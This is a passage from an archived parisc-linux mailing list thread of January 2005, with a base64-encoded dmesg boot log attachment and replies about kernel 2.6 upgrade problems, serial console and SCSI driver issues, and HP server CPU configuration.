IChlc3RhYmxpc2hlZCAxNjM4NCBiaW5kIDMyNzY4KQ0KTkVUOiBSZWdpc3Rl
cmVkIHByb3RvY29sIGZhbWlseSAxDQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9j
b2wgZmFtaWx5IDE3DQptZDogQXV0b2RldGVjdGluZyBSQUlEIGFycmF5cy4N
Cm1kOiBhdXRvcnVuIC4uLg0KbWQ6IC4uLiBhdXRvcnVuIERPTkUuDQpram91
cm5hbGQgc3RhcnRpbmcuICBDb21taXQgaW50ZXJ2YWwgNSBzZWNvbmRzDQpF
WFQzLWZzOiBtb3VudGVkIGZpbGVzeXN0ZW0gd2l0aCBvcmRlcmVkIGRhdGEg
bW9kZS4NClZGUzogTW91bnRlZCByb290IChleHQzIGZpbGVzeXN0ZW0pIHJl
YWRvbmx5Lg0KRnJlZWluZyB1bnVzZWQga2VybmVsIG1lbW9yeTogMjk2ayBm
cmVlZA0KV2FybmluZzogdW5hYmxlIHRvIG9wZW4gYW4gaW5pdGlhbCBjb25z
b2xlLg0KQWRkaW5nIDEzMjg4OGsgc3dhcCBvbiAvZGV2L3NkYjEuICBQcmlv
cml0eToxIGV4dGVudHM6MQ0KQWRkaW5nIDEzMjA3Mmsgc3dhcCBvbiAvZGV2
L3NkZTEuICBQcmlvcml0eToxIGV4dGVudHM6MQ0KRVhUMyBGUyBvbiBzZGEz
LCBpbnRlcm5hbCBqb3VybmFsDQpwYXJwb3J0X2luaXRfY2hpcDogaW5pdGlh
bGl6ZSBiaWRpcmVjdGlvbmFsLW1vZGUuDQpwYXJwb3J0MDogUEMtc3R5bGUg
YXQgMHhmMDEwMjgwMCwgaXJxIDE5IFtQQ1NQUCxUUklTVEFURV0NCm1kOiBt
ZDAgc3RvcHBlZC4NCm1kOiBiaW5kPHNkYjY+DQptZDogYmluZDxzZGE3Pg0K
bWQwOiBzZXR0aW5nIG1heF9zZWN0b3JzIHRvIDEyOCwgc2VnbWVudCBib3Vu
ZGFyeSB0byAzMjc2Nw0KcmFpZDA6IGxvb2tpbmcgYXQgc2RhNw0KcmFpZDA6
ICAgY29tcGFyaW5nIHNkYTcoMjA2MDE2KSB3aXRoIHNkYTcoMjA2MDE2KQ0K
cmFpZDA6ICAgRU5EDQpyYWlkMDogICA9PT4gVU5JUVVFDQpyYWlkMDogMSB6
b25lcw0KcmFpZDA6IGxvb2tpbmcgYXQgc2RiNg0KcmFpZDA6ICAgY29tcGFy
aW5nIHNkYjYoMjA1NTA0KSB3aXRoIHNkYTcoMjA2MDE2KQ0KcmFpZDA6ICAg
Tk9UIEVRVUFMDQpyYWlkMDogICBjb21wYXJpbmcgc2RiNigyMDU1MDQpIHdp
dGggc2RiNigyMDU1MDQpDQpyYWlkMDogICBFTkQNCnJhaWQwOiAgID09PiBV
TklRVUUNCnJhaWQwOiAyIHpvbmVzDQpyYWlkMDogRklOQUwgMiB6b25lcw0K
cmFpZDA6IHpvbmUgMQ0KcmFpZDA6IGNoZWNraW5nIHNkYTcgLi4uIGNvbnRh
aW5lZCBhcyBkZXZpY2UgMA0KICAoMjA2MDE2KSBpcyBzbWFsbGVzdCEuDQpy
YWlkMDogY2hlY2tpbmcgc2RiNiAuLi4gbm9wZS4NCnJhaWQwOiB6b25lLT5u
Yl9kZXY6IDEsIHNpemU6IDUxMg0KcmFpZDA6IGN1cnJlbnQgem9uZSBvZmZz
ZXQ6IDIwNjAxNg0KcmFpZDA6IGRvbmUuDQpyYWlkMCA6IG1kX3NpemUgaXMg
NDExNTIwIGJsb2Nrcy4NCnJhaWQwIDogY29uZi0+aGFzaF9zcGFjaW5nIGlz
IDQxMTAwOCBibG9ja3MuDQpyYWlkMCA6IG5iX3pvbmUgaXMgMi4NCnJhaWQw
IDogQWxsb2NhdGluZyA4IGJ5dGVzIGZvciBoYXNoLg0KbWQ6IG1kMSBzdG9w
cGVkLg0KbWQ6IGJpbmQ8c2RiNz4NCm1kOiBiaW5kPHNkYTg+DQptZDE6IHNl
dHRpbmcgbWF4X3NlY3RvcnMgdG8gNjQsIHNlZ21lbnQgYm91bmRhcnkgdG8g
MTYzODMNCnJhaWQwOiBsb29raW5nIGF0IHNkYTgNCnJhaWQwOiAgIGNvbXBh
cmluZyBzZGE4KDIwNjAxNikgd2l0aCBzZGE4KDIwNjAxNikNCnJhaWQwOiAg
IEVORA0KcmFpZDA6ICAgPT0+IFVOSVFVRQ0KcmFpZDA6IDEgem9uZXMNCnJh
aWQwOiBsb29raW5nIGF0IHNkYjcNCnJhaWQwOiAgIGNvbXBhcmluZyBzZGI3
KDIwNTUwNCkgd2l0aCBzZGE4KDIwNjAxNikNCnJhaWQwOiAgIE5PVCBFUVVB
TA0KcmFpZDA6ICAgY29tcGFyaW5nIHNkYjcoMjA1NTA0KSB3aXRoIHNkYjco
MjA1NTA0KQ0KcmFpZDA6ICAgRU5EDQpyYWlkMDogICA9PT4gVU5JUVVFDQpy
YWlkMDogMiB6b25lcw0KcmFpZDA6IEZJTkFMIDIgem9uZXMNCnJhaWQwOiB6
b25lIDENCnJhaWQwOiBjaGVja2luZyBzZGE4IC4uLiBjb250YWluZWQgYXMg
ZGV2aWNlIDANCiAgKDIwNjAxNikgaXMgc21hbGxlc3QhLg0KcmFpZDA6IGNo
ZWNraW5nIHNkYjcgLi4uIG5vcGUuDQpyYWlkMDogem9uZS0+bmJfZGV2OiAx
LCBzaXplOiA1MTINCnJhaWQwOiBjdXJyZW50IHpvbmUgb2Zmc2V0OiAyMDYw
MTYNCnJhaWQwOiBkb25lLg0KcmFpZDAgOiBtZF9zaXplIGlzIDQxMTUyMCBi
bG9ja3MuDQpyYWlkMCA6IGNvbmYtPmhhc2hfc3BhY2luZyBpcyA0MTEwMDgg
YmxvY2tzLg0KcmFpZDAgOiBuYl96b25lIGlzIDIuDQpyYWlkMCA6IEFsbG9j
YXRpbmcgOCBieXRlcyBmb3IgaGFzaC4NClJlaXNlckZTOiBzZGMxOiBmb3Vu
ZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFs
DQpSZWlzZXJGUzogc2RjMTogdXNpbmcgb3JkZXJlZCBkYXRhIG1vZGUNClJl
aXNlckZTOiBzZGMxOiBqb3VybmFsIHBhcmFtczogZGV2aWNlIHNkYzEsIHNp
emUgODE5Miwgam91cm5hbCBmaXJzdCBibG9jayAxOCwgbWF4IHRyYW5zIGxl
biAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4
IHRyYW5zIGFnZSAzMA0KUmVpc2VyRlM6IHNkYzE6IGNoZWNraW5nIHRyYW5z
YWN0aW9uIGxvZyAoc2RjMSkNClJlaXNlckZTOiBzZGMxOiBVc2luZyByNSBo
YXNoIHRvIHNvcnQgbmFtZXMNClJlaXNlckZTOiBzZGE1OiBmb3VuZCByZWlz
ZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlz
ZXJGUzogc2RhNTogdXNpbmcgb3JkZXJlZCBkYXRhIG1vZGUNClJlaXNlckZT
OiBzZGE1OiBqb3VybmFsIHBhcmFtczogZGV2aWNlIHNkYTUsIHNpemUgODE5
Miwgam91cm5hbCBmaXJzdCBibG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0
LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4IHRyYW5z
IGFnZSAzMA0KUmVpc2VyRlM6IHNkYTU6IGNoZWNraW5nIHRyYW5zYWN0aW9u
IGxvZyAoc2RhNSkNClJlaXNlckZTOiBzZGE1OiBVc2luZyByNSBoYXNoIHRv
IHNvcnQgbmFtZXMNClJlaXNlckZTOiBzZGI4OiBmb3VuZCByZWlzZXJmcyBm
b3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJGUzog
c2RiODogdXNpbmcgb3JkZXJlZCBkYXRhIG1vZGUNClJlaXNlckZTOiBzZGI4
OiBqb3VybmFsIHBhcmFtczogZGV2aWNlIHNkYjgsIHNpemUgODE5Miwgam91
cm5hbCBmaXJzdCBibG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXgg
YmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4IHRyYW5zIGFnZSAz
MA0KUmVpc2VyRlM6IHNkYjg6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAo
c2RiOCkNClJlaXNlckZTOiBzZGI4OiBVc2luZyByNSBoYXNoIHRvIHNvcnQg
bmFtZXMNClJlaXNlckZTOiBzZGUyOiBmb3VuZCByZWlzZXJmcyBmb3JtYXQg
IjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJGUzogc2RlMjog
dXNpbmcgb3JkZXJlZCBkYXRhIG1vZGUNClJlaXNlckZTOiBzZGUyOiBqb3Vy
bmFsIHBhcmFtczogZGV2aWNlIHNkZTIsIHNpemUgODE5Miwgam91cm5hbCBm
aXJzdCBibG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2gg
OTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4IHRyYW5zIGFnZSAzMA0KUmVp
c2VyRlM6IHNkZTI6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAoc2RlMikN
ClJlaXNlckZTOiBzZGUyOiBVc2luZyByNSBoYXNoIHRvIHNvcnQgbmFtZXMN
ClJlaXNlckZTOiBzZGUzOiBmb3VuZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIg
d2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJGUzogc2RlMzogdXNpbmcg
b3JkZXJlZCBkYXRhIG1vZGUNClJlaXNlckZTOiBzZGUzOiBqb3VybmFsIHBh
cmFtczogZGV2aWNlIHNkZTMsIHNpemUgODE5Miwgam91cm5hbCBmaXJzdCBi
bG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBt
YXggY29tbWl0IGFnZSAzMCwgbWF4IHRyYW5zIGFnZSAzMA0KUmVpc2VyRlM6
IHNkZTM6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAoc2RlMykNClJlaXNl
ckZTOiBzZGUzOiBVc2luZyByNSBoYXNoIHRvIHNvcnQgbmFtZXMNClJlaXNl
ckZTOiBtZDA6IGZvdW5kIHJlaXNlcmZzIGZvcm1hdCAiMy42IiB3aXRoIHN0
YW5kYXJkIGpvdXJuYWwNClJlaXNlckZTOiBtZDA6IHVzaW5nIG9yZGVyZWQg
ZGF0YSBtb2RlDQpSZWlzZXJGUzogbWQwOiBqb3VybmFsIHBhcmFtczogZGV2
aWNlIG1kMCwgc2l6ZSA4MTkyLCBqb3VybmFsIGZpcnN0IGJsb2NrIDE4LCBt
YXggdHJhbnMgbGVuIDEwMjQsIG1heCBiYXRjaCA5MDAsIG1heCBjb21taXQg
YWdlIDMwLCBtYXggdHJhbnMgYWdlIDMwDQpSZWlzZXJGUzogbWQwOiBjaGVj
a2luZyB0cmFuc2FjdGlvbiBsb2cgKG1kMCkNClJlaXNlckZTOiBtZDA6IFVz
aW5nIHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KUmVpc2VyRlM6IG1kMTogZm91
bmQgcmVpc2VyZnMgZm9ybWF0ICIzLjYiIHdpdGggc3RhbmRhcmQgam91cm5h
bA0KUmVpc2VyRlM6IG1kMTogdXNpbmcgb3JkZXJlZCBkYXRhIG1vZGUNClJl
aXNlckZTOiBtZDE6IGpvdXJuYWwgcGFyYW1zOiBkZXZpY2UgbWQxLCBzaXpl
IDgxOTIsIGpvdXJuYWwgZmlyc3QgYmxvY2sgMTgsIG1heCB0cmFucyBsZW4g
MTAyNCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1pdCBhZ2UgMzAsIG1heCB0
cmFucyBhZ2UgMzANClJlaXNlckZTOiBtZDE6IGNoZWNraW5nIHRyYW5zYWN0
aW9uIGxvZyAobWQxKQ0KUmVpc2VyRlM6IG1kMTogVXNpbmcgcjUgaGFzaCB0
byBzb3J0IG5hbWVzDQpldGgwOiBsaW5rIG9rLg0K

--17435138-1132772909-1105992868=:4060
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--17435138-1132772909-1105992868=:4060--



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 upgrade problems
Date: Mon, 17 Jan 2005 20:01:41 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20050117200141.GJ30982@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0501171521470.3385@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623655 12587 80.91.229.3 (22 Nov 2014 02:34:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Bromwich <hppa@fop.ns.ca>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2005 20:02:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 17 Jan 2005 21:02:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5D05D3BE51; Mon, 17 Jan 2005 13:02:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28072-03; Mon, 17 Jan 2005 13:02:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BE0CD3BE6D; Mon, 17 Jan 2005 13:01:52 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 571A63BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 13:01:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27941-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 13:01:46 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 970E73BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 17 Jan 2005 13:01:45 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1Cqd4H-0001Jb-Nx; Mon, 17 Jan 2005 20:01:41 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0501171521470.3385@brain.fop.ns.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22302

On Mon, Jan 17, 2005 at 03:39:00PM -0400, Steve Bromwich wrote:
> I just upgraded my 715/100XC to 2.6.10-pa10 from 2.4.27, and I've hit a
> few snags. First is I've lost serial console ("if this is the last message
> you see..."). I did make oldconfig from the 2.4.27 config, but I think
> I've fluffed it and missed the driver. Can someone see what I've missed in
> the attached config?

Nothing, it seems to be fine.  You have CONFIG_GSC, CONFIG_GSC_LASI,
CONFIG_GSC_WAX and CONFIG_SERIAL_8250, which should be enough.  The
715/100 is pretty similar to the 725/100 I have, which works.

Could you send me your dmesg?  I'd like to figure out why this is failing.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 upgrade problems
Date: Tue, 18 Jan 2005 09:42:40 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <41DE941B0000346C@mail-6-bnl.tiscali.it>
References: <Pine.LNX.4.58.0501171612030.4060@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623655 12589 80.91.229.3 (22 Nov 2014 02:34:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Steve Bromwich" <hppa@fop.ns.ca>,
 "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jan 2005 08:43:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 18 Jan 2005 09:43:24 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 675E83BE51; Tue, 18 Jan 2005 01:43:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02839-01; Tue, 18 Jan 2005 01:43:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D10143BE6A; Tue, 18 Jan 2005 01:42:52 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBE533BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jan 2005 01:42:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02726-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jan 2005 01:42:46 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (griswold.tiscali.it [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 423993BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jan 2005 01:42:45 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 18 Jan 2005 09:42:43 +0100
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43)
	id 1Cqowk-0007eS-BR; Tue, 18 Jan 2005 09:42:43 +0100
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Tue, 18 Jan 2005 09:42:40 +0100
In-Reply-To: <Pine.LNX.4.58.0501171612030.4060@brain.fop.ns.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22303


> 
> Attachment: dmesg
> 
[...]
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
[...]
I also encounter some pb with this driver on my c110 :-(
But I don't yet reach to know if my pb is hw or sw?
HP ODE tool didn't report any errors (even thought it's only a reading te=
st?)
I try to figure out if its firmware is uptodate but no luck :-(

and finaly the pb (a dd strees test) occures as well in 2.6 and 2.4 too 

Sorry also because I don't yet find more time (on this system it's not th=
e
main scsi-ctrl ;) to investigate more.
(I just noticed that some changes was recently bring to related ncr scrip=
ts
in openbsd driver but unfortunately I have not yet enough clue to help mo=
re)

Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workqueue.c:132
Date: Wed, 19 Jan 2005 13:45:45 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20050119134545.GA25940@parcelfarce.linux.theplanet.co.uk>
References: <20050119074927.GB3879@colo.lackof.org>
	<41DE92B500003975@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623655 12592 80.91.229.3 (22 Nov 2014 02:34:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2005 13:46:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 19 Jan 2005 14:46:20 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 97E0F3BE68; Wed, 19 Jan 2005 06:46:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18388-05; Wed, 19 Jan 2005 06:46:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 87F243BE72; Wed, 19 Jan 2005 06:45:55 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F279A3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 06:45:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16398-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 06:45:51 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 6E9773BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Jan 2005 06:45:47 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1CrG9Z-000606-UW; Wed, 19 Jan 2005 13:45:45 +0000
Content-Disposition: inline
In-Reply-To: <41DE92B500003975@mail-3-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22304

On Wed, Jan 19, 2005 at 09:21:22AM +0100, Joel Soete wrote:
> Just by curiosity: is that 4 cpus or 2 dual core?

It's two sockets, each with a dual-die processor.  I deduced this from
the rp4440 claiming 8 processors and knowing the zx1 chipset only supports
4 sockets.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.11-rc1-pa3 rp3440 BUG at kernel/workqueue.c:132
Date: Wed, 19 Jan 2005 15:42:14 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <41DE92B500003C5A@mail-3-bnl.tiscali.it>
References: <20050119134545.GA25940@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
